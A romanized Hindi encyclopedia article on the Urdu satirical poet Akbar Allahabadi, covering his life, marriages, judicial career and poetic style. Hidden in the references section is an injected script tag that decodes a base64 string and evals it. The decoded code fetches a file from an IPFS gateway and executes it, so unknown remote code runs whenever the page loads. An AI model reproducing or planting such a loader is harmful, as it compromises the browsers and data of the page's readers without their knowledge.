अकबर इलाहाबादी
akabar ilahabadi
| |
| poora nam | sayyad akabar husain |
| janm | 16 navanbar, 1846 |
| janm bhoomi | qasba barah, ilahabad |
| mrityu | 9 sitanbar, 1921 |
| mrityu sthan | ilahabad |
| abhibhavak | pita- tafazzul husain |
| pati/patni | khadija khatoon boota jan |
| karm bhoomi | bharat |
| karm-kshetr | urdoo shayari |
| prasiddhi | shayar |
| nagarikata | bharatiy |
| shailiyaan | kavita, gazal, masanabi, qita, nazm |
| any janakari | akabar ilahabadi ne apani shayari ko mulk v rashtr ki seva ki taraf mo date hue ek naya aandaz ikhtiyar kiya, jisamean vaise to thithol aur hasy hai lekin usake antahkaran mean nasihat aur alochana hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
sayyad akabar husain (aangrezi: Syed Akbar Hussain, janm- 16 navanbar, 1846; mrityu- 9 sitanbar, 1921) hindustani zaban aur hindustani tahazib ke b de mazaboot aur diler shayar the. unake kalam mean uttari bharat mean rahane-basane valoan ki tamam manasik v naitik moolyoan, tahazibi karanamoan, rajanitik aandolanoan aur hukoomati karyavaeeyoan ke bharapoor surag milate haian. unaki shayari zamana aur ziandagi ka aeena hai. unaka aandaz-e-bayan kahian kahian qalandarana, kahian shayarana, kahian tarash-kharash ke sath, kahian sada, kahian paranparik aur kahian adhunik aur inqilabi hai. akabar ilahabadi paranparik hote hue bhi bagi the aur bagi hote hue bhi sudharavadi. vo shayar the, shor nahian machate the. khavas aur avam donoan unako apana shayar samajhate the. unaki shayari donoan ke zauq ko serab karati hai. unaka kalam mukammal urdoo ka kalam hai. shamsur rahaman farooqi ke anusar mir taqi mir ke bad akabar ilahabadi ne apane kalam mean urdoo zaban ke sabase zyada alafaz istemal kie haian.
parichay
sayyad akabar husain ilahabadi 16 navanbar, 1846 ee. ko zila ilahabad ke qasba barah mean paida hue. valid tafazzul husain nayab tahasiladar the. akabar ki aranbhik shiksha ghar par huee. ath nau baras ki umr mean unhoanne farasi aur arabi ki pathy pustakean padh lian. phir unaka dakhila mishan skool mean karaya gaya. lekin ghar ke arthik sthiti achchhi n hone ki vajah se unako skool chho dakar pandrah sal ki hi umr mean naukari talash karana p di.[1]
vivah
usi kam umri mean unaki shadi bhi khadija khatoon nam ki ek dehati l daki se ho gee lekin bivi unako pasand nahian aeean. usi umr mean unhoanne ilahabad ki tavaefoan ke kothoan ke chakkar lagane shuroo kar die. ilahabad ki shayad hi koee khoobasoorat aur khushaguloo tavaef ho jisake pas vo n ge hoan. unhoanne ek tavaef boota jan se shadi bhi kar li, lekin usaka jald hi iantiqal ho gaya, jisaka akabar ilahabadi ko sadama raha.
vyavasayik shuruat
akabar ilahabadi ne kuchh dinoan relave ke ek thekedar ke pas 20 rupaye mahavar par naukari ki. phir kuchh dinoan bad vo kam khatm ho gaya. usi zamane mean unhoanne aangrezi mean kuchh maharat hasil ki aur 1867 ee. mean vakalat ka imtihan pas kar liya. unhoanne tin sal tak vakalat ki jisake bad vo haeekort ke misil khavaan ban ge. us arase mean unhoanne jajoan-vakiloan aur adalat ki karyavaeeyoan ko gaharaee ke sath samajha. 1873 ee. mean unhoanne haeekort ki vakalat ka imtihan pas kiya aur tho de hi arase mean unaki niyukti muansif ke pad par ho gee. usi zamane mean unako shiya gharane ki ek l daki fatima sugara pasand a gee jisase unhoanne shadi kar li aur pahali bivi ko alag kar diya, lekin usako mamooli kharch dete rahe. pahali bivi se unake do bete the lekin unaki shiksha-diksha ki koee parvah nahian ki aur unhoanne b di daridrata mean ziandagi guzari. ek beta to bap se milane ki arazoo lie duniya se chala gaya lekin vo use dekhane nahian ge.
shesh jivan
san 1888 mean akabar ilahabadi ne sabardinet jaj aur phir mean khufiya adalat ke jaj ke pad par tarakqi paee aur aligadh sahit vibhinn sthanoan par unake tabadale hote rahe. 1905 mean vo seshan jaj ke ohade se ritayar hue aur baqi ziandagi ilahabad mean guzari. ritayarameant ke bad unaki doosari bivi zyada din zianda nahian rahian. akabar is sadame se sanbhal nahian pae the ki doosare bivi ke se paida hone vala unaka javaan-sal beta, jisase unako bahut muhabbat thi, chal basa. in du:khoan ne unako poori tarah se to d kar rakh diya aur vo nirantar bimar rahane lage. fatima sogara se apane doosare bete isharat husain ko unhoanne landan bhej kar shiksha dilaee. pahali bivi khadija khatoon 1920 tak zianda rahian lekin unako “isharat manzil” mean qadam rakhane ki kabhi ijazat nahian mili. 1907 mean sarakar ne akabar ilahabadi ko “khan bahadur” ka khitab diya aur unako ilahabad yoonivarsiti ka felo bhi banaya.[1]
mrityu
9 sitanbar, 1921 ko akabar ilahabadi ka dehaant hua.
hasy-vyangy ke badashah
akabar ilahabadi ko urdoo shayari mean hasy-vyangy ka badashah mana jata hai. unase pahale urdoo shayari mean tanz-o-mazah, rekhti ya nianda ki shayari ke siva, koee ahamiyat aur tasalasul nahian hasil kar saka tha. akabar ne tezi se badale hue zamane ko savadhan karane ke lie hasy-vyangy ka naya vidhan apanaya. akabar ke vyangy ka uddeshy tafarih nahian balki usamean ek khas maqasad hai. akabar ki door-aandesh nigahoan ne dekha ki duniya b di tezi se badal rahi hai aur is vaqt jo samuday paida ho raha hai usako pashchimilobh bahae lie ja rahi hai aur log apani hindustani mulayoan ko tiraskar ki drishti se dekhane lage haian. unhoanne apani shayari ko mulk v rashtr ki seva ki taraf mo date hue ek naya aandaz ikhtiyar kiya, jisamean vaise to thithol aur hasy hai lekin usake antahkaran mean nasihat aur alochana hai.
vah apani shayari ko jis rukh par aur jis uddeshy ke lie lekar chal rahe the usake lie zaroori tha ki lab-o-lahaja naya, dilakash aur manapasand ho. ye ek aise shakhs ka kalam hai jisake chehare par shaguftagi aur thitholi ke asar haian magar avaz mean aisi aanch hai jo hasy ko pighala kar, dilanashian hone tak, ganbhirata ka darja ata kar deti hai. akabar ilahabadi ke tanz ka lakshy koee vyakti vishesh nahian hota. har vyakti prathamatah yahi samajhata hai ki tanz kisi aur ki taraf hai lekin hans chukane ke bad zara gaur karane ke bad ehasas hota ki akabar ne ham sabhoan ko mukhatib kiya tha aur jisako ham mazaq samajh rahe the, usaki tah mean tanqid-o-nasihat hai. bat ko is natije tak pahuanchane mean akabar ne b di karigari se kam liya hai.
akabar ilahabadi ki shayari ko mahaz hasy shayari ke khate mean dal dena unake sath hi nahian urdoo shayari ke sath bhi naiansafi hai. gazal qata, rubaee aur nazmoan ki shakl mean akabar ne jitana umda kalam chho da vaisa adhunik yug ke kisi shayar ke yahaan maujood nahian. unhoanne gazal ki paranparik vidha mean inqilabi tajurbe kie. vo akriti ke tajurbe qabool karane mean itane age nikal ge ki ek hi nazm mean vibhinn bahroan aur vidhaoan ko ekatr kar diya. unhoanne blaiank vars (moarra nazm) mean bhi abhyas kiya aur apane daur ke doosare shayaroan se behatar azad nazmean likhian. is silasile mean unaki nazm “ek ki da” marke ki chiz hai. unaki nazmoan mean navinata aur kalatmakata ka jo mishran hai vo iqabal ke siva urdoo ke kisi shayar ke haan nahian milati.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 akabar ilahabadi (hiandi) rekhta.org. abhigaman tithi: 29 navanbar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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